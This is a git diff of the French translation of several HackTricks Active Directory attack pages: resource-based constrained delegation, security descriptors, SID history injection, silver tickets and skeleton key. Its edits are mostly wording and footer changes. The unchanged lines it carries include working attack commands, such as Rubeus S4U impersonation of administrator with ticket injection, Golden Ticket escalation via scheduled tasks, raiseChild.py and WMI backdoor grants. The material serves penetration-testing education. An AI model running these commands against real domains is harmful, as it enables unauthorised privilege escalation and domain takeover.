D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md b/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md index 42473d7ad..16bda6b36 100644 --- a/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md +++ b/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md @@ -1,4 +1,4 @@ -# Délégation contrainte basée sur les ressources +# Délégation restreinte basée sur les ressources
@@ -9,38 +9,38 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-## Principes de base de la délégation contrainte basée sur les ressources +## Principes de base de la délégation restreinte basée sur les ressources -Cela est similaire à la [Délégation contrainte](constrained-delegation.md) de base mais **au lieu** de donner des autorisations à un **objet pour usurper n'importe quel utilisateur contre un service**. La délégation contrainte basée sur les ressources **définit dans l'objet qui peut usurper n'importe quel utilisateur contre lui**. +Cela est similaire à la [Délégation restreinte](constrained-delegation.md) de base mais **au lieu** de donner des autorisations à un **objet** pour **usurper l'identité de n'importe quel utilisateur pour un service**. La délégation restreinte basée sur les ressources **définit dans l'objet qui peut usurper l'identité de n'importe quel utilisateur pour lui**. -Dans ce cas, l'objet contraint aura un attribut appelé _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ avec le nom de l'utilisateur qui peut usurper n'importe quel autre utilisateur contre lui. +Dans ce cas, l'objet restreint aura un attribut appelé _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ avec le nom de l'utilisateur qui peut usurper l'identité de tout autre utilisateur pour lui. -Une autre différence importante de cette délégation contrainte par rapport aux autres délégations est que tout utilisateur avec des **permissions d'écriture sur un compte machine** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) peut définir le _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ (Dans les autres formes de délégation, vous aviez besoin de privilèges d'administrateur de domaine). +Une autre différence importante de cette délégation restreinte par rapport aux autres délégations est que tout utilisateur avec des **permissions d'écriture sur un compte machine** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) peut définir le _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ (Dans les autres formes de délégation, vous aviez besoin de privilèges d'administrateur de domaine). ### Nouveaux concepts -Dans la délégation contrainte, il a été dit que le drapeau **`TrustedToAuthForDelegation`** à l'intérieur de la valeur _userAccountControl_ de l'utilisateur est nécessaire pour effectuer un **S4U2Self**. Mais ce n'est pas tout à fait vrai.\ +Dans la délégation restreinte, il a été dit que le drapeau **`TrustedToAuthForDelegation`** à l'intérieur de la valeur _userAccountControl_ de l'utilisateur est nécessaire pour effectuer un **S4U2Self**. Mais ce n'est pas tout à fait vrai.\ La réalité est que même sans cette valeur, vous pouvez effectuer un **S4U2Self** contre n'importe quel utilisateur si vous êtes un **service** (avez un SPN) mais, si vous **avez `TrustedToAuthForDelegation`**, le TGS retourné sera **Transmissible** et si vous **ne l'avez pas**, le TGS retourné ne sera pas **Transmissible**. -Cependant, si le **TGS** utilisé dans **S4U2Proxy** n'est pas **Transmissible** en essayant d'exploiter une **délégation contrainte de base**, cela **ne fonctionnera pas**. Mais si vous essayez d'exploiter une **délégation contrainte basée sur les ressources, cela fonctionnera** (ce n'est pas une vulnérabilité, c'est une fonctionnalité, apparemment). +Cependant, si le **TGS** utilisé dans **S4U2Proxy** n'est **pas Transmissible** en essayant d'exploiter une **délégation restreinte de base**, cela **ne fonctionnera pas**. Mais si vous essayez d'exploiter une **délégation restreinte basée sur les ressources, cela fonctionnera** (ce n'est pas une vulnérabilité, c'est une fonctionnalité, apparemment). ### Structure de l'attaque > Si vous avez des **privilèges équivalents en écriture** sur un **compte Ordinateur**, vous pouvez obtenir un **accès privilégié** sur cette machine. -Supposons que l'attaquant a déjà des **privilèges équivalents en écriture sur l'ordinateur de la victime**. +Supposons que l'attaquant a déjà des **privilèges équivalents en écriture sur l'ordinateur victime**. 1. L'attaquant **compromet** un compte qui a un **SPN** ou **en crée un** ("Service A"). Notez que **n'importe quel** _Utilisateur Administrateur_ sans aucun autre privilège spécial peut **créer** jusqu'à 10 **objets Ordinateur (**_**MachineAccountQuota**_**)** et leur attribuer un **SPN**. Ainsi, l'attaquant peut simplement créer un objet Ordinateur et attribuer un SPN. -2. L'attaquant **abuse de son privilège d'ÉCRITURE** sur l'ordinateur de la victime (ServiceB) pour configurer une **délégation contrainte basée sur les ressources pour permettre à ServiceA d'usurper n'importe quel utilisateur** contre cet ordinateur victime (ServiceB). +2. L'attaquant **abuse de son privilège d'ÉCRITURE** sur l'ordinateur victime (ServiceB) pour configurer une **délégation restreinte basée sur les ressources pour permettre à ServiceA d'usurper l'identité de n'importe quel utilisateur** contre cet ordinateur victime (ServiceB). 3. L'attaquant utilise Rubeus pour effectuer une **attaque S4U complète** (S4U2Self et S4U2Proxy) de Service A à Service B pour un utilisateur **avec un accès privilégié à Service B**. 1. S4U2Self (à partir du compte compromis/créé avec le SPN) : Demande un **TGS de l'Administrateur pour moi** (Non Transmissible). 2. S4U2Proxy : Utilise le **TGS non Transmissible** de l'étape précédente pour demander un **TGS** de l'**Administrateur** à l'**hôte victime**. -3. Même si vous utilisez un TGS non Transmissible, comme vous exploitez une délégation contrainte basée sur les ressources, cela fonctionnera. +3. Même si vous utilisez un TGS non Transmissible, comme vous exploitez une délégation restreinte basée sur les ressources, cela fonctionnera. 4. L'attaquant peut **transmettre le ticket** et **usurper** l'utilisateur pour obtenir **accès au ServiceB victime**. Pour vérifier le _**MachineAccountQuota**_ du domaine, vous pouvez utiliser: @@ -92,18 +92,18 @@ Maintenant, l'attaque peut être effectuée : ```bash rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /aes128: /rc4: /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt ``` -Vous pouvez générer plus de tickets en ne demandant qu'une seule fois en utilisant le paramètre `/altservice` de Rubeus : +Vous pouvez générer plus de tickets en demandant une seule fois en utilisant le paramètre `/altservice` de Rubeus : ```bash rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt ``` {% hint style="danger" %} -Notez que les utilisateurs ont un attribut appelé "**Ne peut pas être délégué**". Si un utilisateur a cet attribut à True, vous ne pourrez pas vous faire passer pour lui. Cette propriété peut être vue dans Bloodhound. +Notez que les utilisateurs ont un attribut appelé "**Ne peut pas être délégué**". Si un utilisateur a cet attribut à True, vous ne pourrez pas vous faire passer pour lui. Cette propriété peut être vue dans bloodhound. {% endhint %} ### Accès -La dernière ligne de commande effectuera **l'attaque S4U complète et injectera le TGS** de l'administrateur vers l'hôte victime en **mémoire**.\ -Dans cet exemple, un TGS pour le service **CIFS** a été demandé à l'administrateur, vous pourrez donc accéder à **C$**: +La dernière ligne de commande effectuera **l'attaque S4U complète et injectera le TGS** de l'Administrateur vers l'hôte victime en **mémoire**.\ +Dans cet exemple, un TGS pour le service **CIFS** a été demandé à l'Administrateur, vous pourrez donc accéder à **C$**: ```bash ls \\victim.domain.local\C$ ``` @@ -115,7 +115,7 @@ Apprenez-en plus sur les [**tickets de service disponibles ici**](silver-ticket. * **`KDC_ERR_ETYPE_NOTSUPP`**: Cela signifie que Kerberos est configuré pour ne pas utiliser DES ou RC4 et que vous fournissez simplement le hachage RC4. Fournissez à Rubeus au moins le hachage AES256 (ou fournissez simplement les hachages rc4, aes128 et aes256). Exemple : `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())` * **`KRB_AP_ERR_SKEW`**: Cela signifie que l'heure de l'ordinateur actuel est différente de celle du contrôleur de domaine et que Kerberos ne fonctionne pas correctement. -* **`preauth_failed`**: Cela signifie que le nom d'utilisateur donné + les hachages ne fonctionnent pas pour se connecter. Vous avez peut-être oublié de mettre le "$" à l'intérieur du nom d'utilisateur lors de la génération des hachages (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`) +* **`preauth_failed`**: Cela signifie que le nom d'utilisateur + les hachages donnés ne fonctionnent pas pour se connecter. Vous avez peut-être oublié de mettre le "$" à l'intérieur du nom d'utilisateur lors de la génération des hachages (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`) * **`KDC_ERR_BADOPTION`**: Cela peut signifier : * L'utilisateur que vous essayez d'usurper ne peut pas accéder au service désiré (parce que vous ne pouvez pas l'usurper ou parce qu'il n'a pas assez de privilèges) * Le service demandé n'existe pas (si vous demandez un ticket pour winrm mais que winrm n'est pas en cours d'exécution) @@ -134,10 +134,10 @@ Apprenez-en plus sur les [**tickets de service disponibles ici**](silver-ticket. Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/windows-hardening/active-directory-methodology/security-descriptors.md b/windows-hardening/active-directory-methodology/security-descriptors.md index 0334e956c..ec643ebac 100644 --- a/windows-hardening/active-directory-methodology/security-descriptors.md +++ b/windows-hardening/active-directory-methodology/security-descriptors.md @@ -4,34 +4,34 @@ Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres façons de soutenir HackTricks: +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. ## Descripteurs de sécurité -[D'après la documentation](https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-definition-language): Le langage de définition des descripteurs de sécurité (SDDL) définit le format utilisé pour décrire un descripteur de sécurité. SDDL utilise des chaînes ACE pour DACL et SACL : `type_ace;flags_ace;droits;guid_objet;guid_objet_hérité;sid_compte;` +[À partir de la documentation](https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-definition-language) : Le langage de définition de descripteur de sécurité (SDDL) définit le format utilisé pour décrire un descripteur de sécurité. SDDL utilise des chaînes ACE pour DACL et SACL : `type_ace;flags_ace;droits;guid_objet;guid_objet_hérité;sid_compte;` -Les **descripteurs de sécurité** sont utilisés pour **stocker** les **permissions** qu'un **objet** a **sur** un **objet**. Si vous pouvez simplement **apporter** un **petit changement** dans le **descripteur de sécurité** d'un objet, vous pouvez obtenir des privilèges très intéressants sur cet objet sans avoir besoin d'être membre d'un groupe privilégié. +Les **descripteurs de sécurité** sont utilisés pour **stocker** les **autorisations** qu'un **objet** possède **sur** un **objet**. Si vous pouvez simplement **apporter** un **petit changement** dans le **descripteur de sécurité** d'un objet, vous pouvez obtenir des privilèges très intéressants sur cet objet sans avoir besoin d'être membre d'un groupe privilégié. Ainsi, cette technique de persistance est basée sur la capacité à obtenir tous les privilèges nécessaires contre certains objets, afin de pouvoir effectuer une tâche qui nécessite généralement des privilèges d'administrateur mais sans avoir besoin d'être administrateur. ### Accès à WMI -Vous pouvez donner à un utilisateur l'accès pour **exécuter WMI à distance** [**en utilisant ceci**](https://github.com/samratashok/nishang/blob/master/Backdoors/Set-RemoteWMI.ps1): +Vous pouvez donner à un utilisateur l'accès pour **exécuter à distance WMI** [**en utilisant ceci**](https://github.com/samratashok/nishang/blob/master/Backdoors/Set-RemoteWMI.ps1) : ```bash Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc –namespace 'root\cimv2' -Verbose Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc–namespace 'root\cimv2' -Remove -Verbose #Remove ``` ### Accès à WinRM -Accordez l'accès à la **console PS WinRM à un utilisateur** [**en utilisant ceci**](https://github.com/samratashok/nishang/blob/master/Backdoors/Set-RemoteWMI.ps1)**:** +Donnez accès à la **console PS WinRM à un utilisateur** [**en utilisant ceci**](https://github.com/samratashok/nishang/blob/master/Backdoors/Set-RemoteWMI.ps1)**:** ```bash Set-RemotePSRemoting -UserName student1 -ComputerName -Verbose Set-RemotePSRemoting -UserName student1 -ComputerName -Remove #Remove @@ -63,7 +63,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. diff --git a/windows-hardening/active-directory-methodology/sid-history-injection.md b/windows-hardening/active-directory-methodology/sid-history-injection.md index 734e46fcd..00b5d0178 100644 --- a/windows-hardening/active-directory-methodology/sid-history-injection.md +++ b/windows-hardening/active-directory-methodology/sid-history-injection.md @@ -2,7 +2,7 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)! * Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) @@ -14,7 +14,7 @@ ## Attaque par injection de l'historique SID -L'objectif de l'**attaque par injection de l'historique SID** est d'aider à la **migration des utilisateurs entre les domaines** tout en garantissant un accès continu aux ressources de l'ancien domaine. Cela est réalisé en **incorporant l'identifiant de sécurité (SID) précédent de l'utilisateur dans l'historique SID** de son nouveau compte. Notamment, ce processus peut être manipulé pour accorder un accès non autorisé en ajoutant le SID d'un groupe à haut privilège (tel que les administrateurs d'entreprise ou les administrateurs de domaine) du domaine parent à l'historique SID. Cette exploitation confère un accès à toutes les ressources du domaine parent. +L'objectif de l'**attaque par injection de l'historique SID** est d'aider à la **migration des utilisateurs entre les domaines** tout en garantissant un accès continu aux ressources de l'ancien domaine. Cela est réalisé en **incorporant l'identifiant de sécurité (SID) précédent de l'utilisateur dans l'historique SID** de son nouveau compte. Notamment, ce processus peut être manipulé pour accorder un accès non autorisé en ajoutant le SID d'un groupe à haut privilège (tel que les administrateurs d'entreprise ou les administrateurs de domaine) du domaine parent à l'historique SID. Cette exploitation confère un accès à toutes les ressources dans le domaine parent. Deux méthodes existent pour exécuter cette attaque : en créant un **Golden Ticket** ou un **Diamond Ticket**. @@ -22,7 +22,7 @@ Pour identifier le SID du groupe **"Administrateurs d'entreprise"**, il faut d'a Vous pouvez également utiliser les groupes **Administrateurs de domaine**, qui se terminent en **512**. -Une autre façon de trouver le SID d'un groupe de l'autre domaine (par exemple "Administrateurs de domaine") est avec: +Une autre façon de trouver le SID d'un groupe de l'autre domaine (par exemple "Administrateurs de domaine") est avec : ```powershell Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid ``` @@ -81,7 +81,7 @@ ls \\mcorp-dc.moneycorp.local\c$ ``` {% endcode %} -Élevez-vous au niveau de DA ou d'administrateur d'entreprise en utilisant le hachage KRBTGT du domaine compromis : +Élevez-vous au niveau de DA ou d'administrateur d'entreprise en utilisant le hachage KRBTGT du domaine compromis: {% code overflow="wrap" %} ```bash @@ -97,7 +97,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114" ``` {% endcode %} -Avec les permissions acquises lors de l'attaque, vous pouvez par exemple exécuter une attaque DCSync dans le nouveau domaine : +Avec les autorisations acquises lors de l'attaque, vous pouvez par exemple exécuter une attaque DCSync dans le nouveau domaine : {% content-ref url="dcsync.md" %} [dcsync.md](dcsync.md) @@ -142,7 +142,7 @@ Le flux est le suivant : * Récupère le hachage du compte KRBTGT dans le domaine enfant * Crée un Golden Ticket * Se connecte au domaine parent -* Récupère les informations d'identification pour le compte Administrateur dans le domaine parent +* Récupère les informations d'identification du compte Administrateur dans le domaine parent * Si l'option `target-exec` est spécifiée, il s'authentifie sur le contrôleur de domaine du domaine parent via Psexec. ```bash raiseChild.py -target-exec 10.10.10.10 /username @@ -153,9 +153,9 @@ raiseChild.py -target-exec 10.10.10.10 /username
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)! -* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** diff --git a/windows-hardening/active-directory-methodology/silver-ticket.md b/windows-hardening/active-directory-methodology/silver-ticket.md index fd9d3ff38..a91d1627f 100644 --- a/windows-hardening/active-directory-methodology/silver-ticket.md +++ b/windows-hardening/active-directory-methodology/silver-ticket.md @@ -6,23 +6,23 @@ Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_). +Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_). {% embed url="https://www.stmcyber.com/careers" %} ## Billet Silver -L'attaque du **Billet Silver** implique l'exploitation des tickets de service dans les environnements Active Directory (AD). Cette méthode repose sur **l'acquisition du hachage NTLM d'un compte de service**, tel qu'un compte d'ordinateur, pour falsifier un ticket de service de délivrance de tickets (TGS). Avec ce ticket falsifié, un attaquant peut accéder à des services spécifiques sur le réseau, **en se faisant passer pour n'importe quel utilisateur**, visant généralement les privilèges administratifs. Il est souligné que l'utilisation de clés AES pour falsifier des tickets est plus sécurisée et moins détectable. +L'attaque du **Billet Silver** implique l'exploitation des tickets de service dans les environnements Active Directory (AD). Cette méthode repose sur **l'acquisition du hachage NTLM d'un compte de service**, tel qu'un compte d'ordinateur, pour falsifier un ticket de service de billetterie (TGS). Avec ce ticket falsifié, un attaquant peut accéder à des services spécifiques sur le réseau, **en se faisant passer pour n'importe quel utilisateur**, visant généralement les privilèges administratifs. Il est souligné que l'utilisation de clés AES pour falsifier des tickets est plus sécurisée et moins détectable. Pour la création de tickets, différents outils sont utilisés en fonction du système d'exploitation : @@ -48,12 +48,12 @@ Le service CIFS est mis en avant comme une cible courante pour accéder au syst ## Services Disponibles -| Type de Service | Tickets Silver pour le Service | +| Type de Service | Tickets Silver pour le Service | | ------------------------------------------ | -------------------------------------------------------------------------- | | WMI |

HOST

RPCSS

| -| PowerShell Remoting |

HOST

HTTP

En fonction du système d'exploitation également :

WSMAN

RPCSS

| -| WinRM |

HOST

HTTP

Dans certains cas, vous pouvez simplement demander : WINRM

| -| Tâches Planifiées | HOST | +| PowerShell Remoting |

HOST

HTTP

En fonction du système d'exploitation également:

WSMAN

RPCSS

| +| WinRM |

HOST

HTTP

Dans certains cas, vous pouvez simplement demander: WINRM

| +| Tâches Planifiées | HOST | | Partage de Fichiers Windows, également psexec | CIFS | | Opérations LDAP, incluant DCSync | LDAP | | Outils d'Administration de Serveur à Distance Windows |

RPCSS

LDAP

CIFS

| @@ -107,9 +107,15 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis #You can also use wmic wmic remote.computer.local list full /format:list ``` +Trouvez **plus d'informations sur wmiexec** sur la page suivante: + +{% content-ref url="../ntlm/wmicexec.md" %} +[wmicexec.md](../ntlm/wmicexec.md) +{% endcontent-ref %} + ### HÔTE + WSMAN (WINRM) -Avec l'accès winrm sur un ordinateur, vous pouvez y accéder et même obtenir un PowerShell: +Avec l'accès winrm sur un ordinateur, vous pouvez **y accéder** et même obtenir un PowerShell: ```bash New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC ``` @@ -154,7 +160,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/windows-hardening/active-directory-methodology/skeleton-key.md b/windows-hardening/active-directory-methodology/skeleton-key.md index 28512286e..9d727436f 100644 --- a/windows-hardening/active-directory-methodology/skeleton-key.md +++ b/windows-hardening/active-directory-methodology/skeleton-key.md @@ -2,19 +2,21 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS HackTricks)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
